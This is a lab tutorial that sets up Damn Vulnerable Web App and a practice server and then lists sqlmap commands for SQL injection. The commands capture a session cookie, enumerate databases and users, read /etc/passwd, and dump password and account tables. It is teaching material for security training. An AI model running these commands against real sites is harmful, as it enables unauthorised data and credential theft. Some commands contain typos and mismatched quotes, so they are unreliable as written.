**Tutorial- SQLmap**

First we start the web application (Damn Vulnerable Web App)

- Open Kali Linux (located in /virtual)
- Login: root Password: toor
- Open command prompt and run the following commands
    - Service apache2 start
    - Service mysql start
- Check if both services are running by using the following commad (service apache2/mysql status) [one service at a time)
- Go to http://10.10.10.129/dvwa
    - If asked for a login use Admin/password

Next we install tamper data plugin

- Open iceweasel and go to the following link
- https://addons.mozilla.org/en-US/firefox/addon/tamper-data/
- Install the addon and restart the browser

Go to DVWA Security amd change it to low

Open Tamper Data plugin from Tools menu. Click Start Tamper.

Go to SQL injection. Insert 1 in the User ID input and click Submit

Extract the cookie.

Sqlmap commands

1. To find all the available databases in the web app
   sqlmap -u 'insert URL here' --cookie 'PHPSESSID=*cookie goes here*; security=low' --string="Surname" --dbs
   - This gives the attacker a list of all the available databases in the webapp
2. Find out who the current user is and what databse they are using
   sqlmap -u 'insert URL here' --cookie 'PHPSESSID=*cookie goes here*; security=low' --current-user --is-dba --current-db --hostname --threads=10
3. Read files if the database has permission for file operation
   sqlmap -u 'insert URL here' --cookie 'PHPSESSID=*cookie goes here*; security=low' --file-read=/etc/passwd --threads=10
   - Can use command to read any file in the system
4. Get the list of users and their roles and privileges
   sqlmap -u 'insert URL here' --cookie 'PHPSESSID=*cookie goes here*; security=low' --users --passwords --previliges --roles --threads=10
5. Dump all the tables and their columns
   sqlmap -u 'insert URL here' --cookie 'PHPSESSID=*cookie goes here*; security=low' --tables --columns --dump

6. We know there is a users table that has usernames and passwords inside it
   sqlmap -u 'insert URL here' --cookie 'PHPSESSID=*cookie goes here*; security=low' -T users --dump

   Open Ubuntu804 server (ends with SQLMAP)
   fourFours Web application (test by visiting http://10.10.10.128/fourFours/index.php
1. Get the tables and columns of the database
   sqlmap -u 10.10.10.128/fourFours/index.php --data 'operation=login&user=coffee&password=" --tables --columns --dump
2. Now that we know what tables exist, we can use that to extract information out of the tables
   sqlmap -u 10.10.10.128/fourFours/index.php --data'operation=login&user=coffee&password=" -T account --dump